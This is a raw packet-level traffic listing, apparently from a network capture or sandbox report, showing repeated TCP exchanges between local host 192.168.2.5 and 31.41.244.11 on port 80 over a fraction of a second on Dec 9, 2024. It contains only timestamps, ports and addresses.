Dec 9, 2024 15:30:13.583813906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.583863020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.583878994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.583905935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.583931923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.585350037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.585366011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.585397959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.585418940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.587613106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.587629080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.587641954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.587654114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.587661982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.587680101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.587728977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.588937044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.588952065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.588993073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.589008093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.590308905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.590322018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.590363026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.591799021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.591813087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.591873884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.592941046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.592955112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.592984915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.593019962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.594326973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.594337940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.594371080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.594381094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.595684052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.595695972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.595725060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.597033024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.597044945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.597085953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.598500967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.598512888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.598542929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.599911928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.599925041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.599953890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.599983931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.601386070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.601398945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.601433992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.601444006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.602960110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.602972984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.603008986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.603023052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.604543924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.604558945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.604568958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.604598999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.604615927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.606028080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.606040955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.606085062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.607347965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.607386112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.607393980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.607430935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.609281063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.609303951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.609328032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.609338999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.610810041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.610825062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.610857010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.610872984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.612128973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.612142086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.612154007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.612188101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.612221956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.613609076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.613621950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.613667011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.615078926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.615091085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.615138054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.616704941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.616719007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.616754055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.616785049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.618141890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.618155956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.618179083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.618196964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.618232965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.619626045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.619640112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.619674921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.619695902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.620933056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.620945930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.620980024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.620996952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.622351885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.622364998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.622407913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.623970032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.623985052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.624020100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.624047041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.625370026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.625386000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.625396013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.625428915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.625458956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.626863956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.626879930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.626909971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.626940966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.628372908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.628388882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.628418922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.628436089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.629878998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.629894018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.629924059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.629942894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.631426096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.631445885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.631458044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.631479025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.631503105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.632823944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.632852077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.632878065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.632895947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.634444952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.634459019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.634494066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.634507895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.635863066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.635879040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.635912895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.635934114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.637339115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.637353897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.637398005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.637417078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.639027119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.639044046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.639056921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.639070988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.639082909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.639103889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.640723944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.640739918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.640769958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.640785933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.642627954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.642642975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.642704010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.642791986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.643927097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.643943071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.643978119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.644004107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.645442009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.645458937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.645471096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.645490885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.645512104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.646891117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.646907091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.646948099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.648374081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.648391008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.648428917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.648447990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.649770975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.649785042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.649821043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.649836063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.771187067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.771255970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.771559000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.771574974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.771611929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.771645069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.774833918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.774904013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.775425911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.775445938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.775460958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.775473118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.775484085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.775496006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.775533915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.777906895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.777956009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.779519081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.779534101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.779591084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.781366110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.781380892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.781418085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.781439066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.782902002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.782948971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.788984060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.789001942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.789030075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.789032936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.789042950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.789043903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.789067984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.789083004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.790689945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.790704012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.790715933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.790744066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.790757895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.791975975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.791990042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.792020082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.792032957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.793323040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.793337107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.793395042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.794449091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.794461966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.794509888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.795813084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.795830011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.795875072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.795906067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.797152996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.797167063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.797178984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.797199011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.797218084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.798151970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.798166037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.798213959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.799886942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.799900055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.799932957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.799946070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.800932884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.800947905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.800998926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.801023006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.802170992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.802226067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.802313089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.802325010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.802355051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.802366018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.803755999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.803767920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.803816080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.805198908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.805212021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.805242062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.805257082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.806830883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.806843996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.806885958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.806898117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.808303118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.808316946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.808362961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.808377028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.810050011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.810067892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.810079098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.810102940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.810117960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.811310053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.811327934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.811357021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.811369896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.812773943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.812787056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.812822104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.812839985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.814161062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.814225912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.814349890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.814393044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.815784931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.815799952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.815810919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.815841913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.815885067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.817631006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.817645073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.817677975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.817692041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.819214106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.819226980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.819274902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.819829941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.819842100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.819876909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.819905043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.821590900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.821608067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.821665049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.822770119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.822782993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.822794914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.822813034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.822824955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.824310064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.824322939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.824356079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.824364901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.825759888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.825773001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.825826883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.827272892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.827287912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.827332973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.828767061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.828793049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.828804016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.828867912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.830228090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.830252886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.830276012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.830297947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.831765890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.831779957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.831832886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.832096100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.834270000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.834285975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.834338903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.836261034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.836275101 CET	80	49866	31.41.244.11	192.168.2.5
